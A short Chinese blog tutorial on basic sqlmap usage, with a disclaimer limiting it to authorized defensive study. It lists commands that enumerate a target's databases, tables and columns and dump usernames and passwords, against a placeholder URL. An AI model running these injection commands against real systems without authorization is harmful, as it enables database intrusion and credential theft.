sqlmap简单使用

写在前面：

该文章仅用于信息防御技术的交流和学习，请勿用于其他用途；
在未得到网站授权前提下，禁止对政府、事业单位、企业或其他单位网站及系统进行渗透测试；技术是把双刃剑，请遵纪守法，做一名合格的白帽子安全专家，为国家的网络安全事业做出贡献；

1、在sqlmap文件夹下输入cmd

2、python sqlmap.py

此处不成功可能是因为python版本与sqlmap的版本不匹配；

我的解决方法：python版本与sqlmap版本同时更新到最新。

3、python sqlmap.py -u "需要检测的网址"

4、获取所有数据库名称：python sqlmap.py -u "需要检测的网址" -dbs

5、获取当前数据库名称：python sqlmap.py -u "需要检测的网址" --current-db

6、获取security数据库中的表名：python sqlmap.py -u "需要检测的网址" -D security --tables

7、获取users表中的字段名：

python sqlmap.py -u "需要检测的网址" -D security -T users --columns

8、获取username和password中的内容：

python sqlmap.py -u "需要检测的网址" -D security -T users -C password,username --dump

最终获取了账号和密码